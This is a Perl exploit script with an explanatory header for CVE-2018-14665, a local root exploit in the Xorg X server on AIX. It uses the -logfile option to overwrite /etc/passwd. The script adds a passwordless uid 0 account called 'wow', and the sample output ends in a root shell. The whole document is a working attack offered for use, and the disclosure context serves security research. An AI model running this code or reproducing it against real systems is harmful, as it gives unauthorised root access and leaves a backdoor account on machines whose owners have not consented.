# Exploit Title: AIX Xorg X11 Server - Local Privilege Escalation
# Date: 29/11/2018
# Exploit Author: @0xdono
# Original Discovery and Exploit: Narendra Shinde
# Vendor Homepage: https://www.x.org/
# Platform: AIX
# Version: X Window System Version 7.1.1
# Fileset: X11.base.rte < 7.1.5.32
# Tested on: AIX 7.1 (6.x to 7.x should be vulnerable)
# CVE: CVE-2018-14665
#
# Explanation:
# Incorrect command-line parameter validation in the Xorg X server can
# lead to privilege elevation and/or arbitrary files overwrite, when the
# X server is running with elevated privileges.
# The -logfile argument can be used to overwrite arbitrary files in the
# file system, due to incorrect checks in the parsing of the option.
#
# This is a port of the OpenBSD X11 Xorg exploit to run on AIX.
# It overwrites /etc/passwd in order to create a new user with root privileges.
# All currently logged in users need to be included when /etc/passwd is overwritten,
# else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
# The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
# and is replaced by '-config'.
# ksh93 is used for ANSI-C quoting, and is installed by default on AIX.
#
# IBM has not yet released a patch as of 29/11/2018.
#
# See also:
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html
# https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
# https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl
#
# Usage:
#  $ oslevel -s
#  7100-04-00-0000
#  $ Xorg -version
#
#  X Window System Version 7.1.1
#  Release Date: 12 May 2006
#  X Protocol Version 11, Revision 0, Release 7.1.1
#  Build Operating System: AIX IBM
#  Current Operating System: AIX sovma470 1 7 00C3C6F54C00
#  Build Date: 07 July 2006
#          Before reporting problems, check http://wiki.x.org
#          to make sure that you have the latest version.
#  Module Loader present
#  $ id
#  uid=16500(nmyo) gid=1(staff)
#  $ perl aixxorg.pl
#  [+] AIX X11 server local root exploit
#  [-] Checking for Xorg and ksh93
#  [-] Opening /etc/passwd
#  [-] Retrieving currently logged in users
#  [-] Generating Xorg command
#  [-] Opening /tmp/wow.ksh
#  [-] Writing Xorg command to /tmp/wow.ksh
#  [-] Backing up /etc/passwd to /tmp/passwd.backup
#  [-] Making /tmp/wow.ksh executable
#  [-] Executing /tmp/wow.ksh
#  [-] Cleaning up /etc/passwd and removing /tmp/wow.ksh
#  [-] Done
#  [+] 'su wow' for root shell
#  $ su wow
#  # id
#  uid=0(root) gid=0(system)
#  # whoami
#  root

#!/usr/bin/perl
print "[+] AIX X11 server local root exploit\n";

# Check Xorg is in path
print "[-] Checking for Xorg and ksh93 \n";
chomp($xorg = `command -v Xorg`);
if ($xorg eq ""){
    print "[X] Can't find Xorg binary, try hardcode it? exiting... \n";
    exit;
}

# Check ksh93 is in path
chomp($ksh = `command -v ksh93`);
if ($ksh eq ""){
    print "[X] Can't find ksh93 binary, try hardcode it? exiting... \n";
    exit;
}

# Read in /etc/passwd
print "[-] Opening /etc/passwd \n";
open($passwd_fh, '<', "/etc/passwd");
chomp(@passwd_array = <$passwd_fh>);
close($passwd_fh);

# Retrieve currently logged in users
print "[-] Retrieving currently logged in users \n";
@users = `who | cut -d' ' -f1 | sort | uniq`;
chomp(@users);

# For all logged in users, add their current passwd entry to string
# that will be used to overwrite passwd
$users_logged_in_passwd = '';
foreach my $user (@users)
{
    $user .= ":";
    foreach my $line (@passwd_array)
    {
        if (index($line, $user) == 0) {
            $users_logged_in_passwd = $users_logged_in_passwd . '\n' . $line;
        }
    }
}

# Use '-config' as '-fp' (which is used in the original BSD exploit) is not written to log
print "[-] Generating Xorg command \n";
$blob = '-config ' . '$\'' . $users_logged_in_passwd . '\nwow::0:0::/:/usr/bin/ksh\n#' . '\'';

print "[-] Opening /tmp/wow.ksh \n";
open($fr, '>', "/tmp/wow.ksh");

# Use ksh93 for ANSI-C quoting
print "[-] Writing Xorg command to /tmp/wow.ksh \n";
print $fr '#!' . "$ksh\n";
print $fr "$xorg $blob -logfile ../etc/passwd :1  > /dev/null 2>&1 \n";
close $fr;

# Backup passwd
print "[-] Backing up /etc/passwd to /tmp/passwd.backup \n";
system("cp /etc/passwd /tmp/passwd.backup");

# Make script executable and run it
print "[-] Making /tmp/wow.ksh executable \n";
system("chmod +x /tmp/wow.ksh");
print "[-] Executing /tmp/wow.ksh \n";
system("/tmp/wow.ksh");

# Replace overwritten passwd with: original passwd + wow user
print "[-] Cleaning up /etc/passwd and removing /tmp/wow.ksh \n";
$result = `su wow "-c cp /tmp/passwd.backup /etc/passwd && echo 'wow::0:0::/:/usr/bin/ksh' >> /etc/passwd" && rm /tmp/wow.ksh`;

print "[-] Done \n";
print "[+] 'su wow' for root shell \n";